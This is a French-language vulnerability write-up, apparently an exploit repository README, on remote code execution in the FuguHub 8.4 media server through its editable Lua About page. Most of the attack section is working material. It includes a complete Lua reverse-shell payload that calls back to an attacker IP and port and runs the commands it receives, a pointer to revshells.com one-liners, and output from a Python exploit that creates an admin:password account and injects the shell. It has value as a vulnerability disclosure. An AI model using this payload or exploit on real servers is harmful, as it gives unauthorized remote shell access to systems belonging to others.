Exécution de code arbitraire sur FuguHub 8.4
FuguHub est un logiciel de serveur multimédia cloud. La version testée était la version Debian à ce lien :
https://fuguhub.com/articles/FuguHub-for-Debian Un problème dans Real Time Logic LLC FuguHub v.8.4 permet à un attaquant local d'exécuter du code arbitraire via un script malveillant sur la page "About" du panneau d'administration.
Capture d'écran montrant la page de téléchargement de FuguHub
wget FuguHub.com/install/FuguHub.linux.install
chmod +x FuguHub.linux.install
sudo ./FuguHub.linux.install
La page About est une page Lua modifiable dont le contenu peut être modifié via le panneau d'administration. La vulnérabilité insère un reverse shell écrit en Lua dans la page About, visible à la fois pour les utilisateurs connectés et non connectés.
FuguHub invite l'utilisateur à créer un utilisateur administrateur, cela peut également être fait sur cette page : http://127.0.0.1/rtl/protected/admin/
Une fois créé, l'administrateur peut personnaliser le serveur via ce lien : http://127.0.0.1/rtl/protected/admin/customize.lsp cela permet à l'utilisateur de modifier la page About qui, comme nous pouvons le voir, contient une section de code Lua dans laquelle nous pouvons injecter du code.
Capture d'écran montrant du code LSP modifiable exécuté côté serveur pour renvoyer la version du logiciel, c'est le point d'insertion du reverse shell
Voici un exemple de payload :
<?lsp if request:method() == "GET" then ?>
<?lsp
local host, port = "192.168.0.107", 4444
local socket = require("socket")
local tcp = socket.tcp()
local io = require("io")
local connection, err = tcp:connect(host, port)
if not connection then
print("Error connecting: " .. err)
return
end
while true do
local cmd, status, partial = tcp:receive()
if status == "closed" or status == "timeout" then break end
if cmd then
local f = io.popen(cmd, "r")
local s = f:read("*a")
f:close()
tcp:send(s)
end
end
tcp:close()
?>
<?lsp else ?>
Wrong request method, goodBye!
<?lsp end ?>
Une alternative de payload en une seule ligne peut être obtenue sur revshells.com
Capture d'écran d'un reverse shell Lua provenant de revshells.com
Lors de mes tentatives d'automatisation de cet exploit, j'ai découvert CVE-2023-24078 qui révélait une vulnérabilité de téléchargement de fichiers sur FuguHub. Cet exploit était réalisé en Python et automatisait la connexion et la création de comptes. J'ai utilisé la partie authentification de cet exploit puis j'ai ajouté du code pour exploiter mon nouveau point d'insertion découvert sur la page customize.lsp. Mon exploit Python est inclus dans le dépôt sous exploit.py
usage: exploit.py [-h] -r RHOST [-rp RPORT] -l LHOST -p LPORT
┌──(kali㉿kali)-[~/pg/hub]
└─$ python3 exploit.py -r 192.168.XXX.XXX -rp 80 -l 192.168.XXX.XXX -p 5555
[*] Checking for admin user...
[+] No admin user exists yet, creating account with admin:password
[+] User created!
[+] Logging in...
[+] Success! Injecting the reverse shell...
[+] Successfully injected the reverse shell into the About page.
[+] Triggering the reverse shell, check your listener...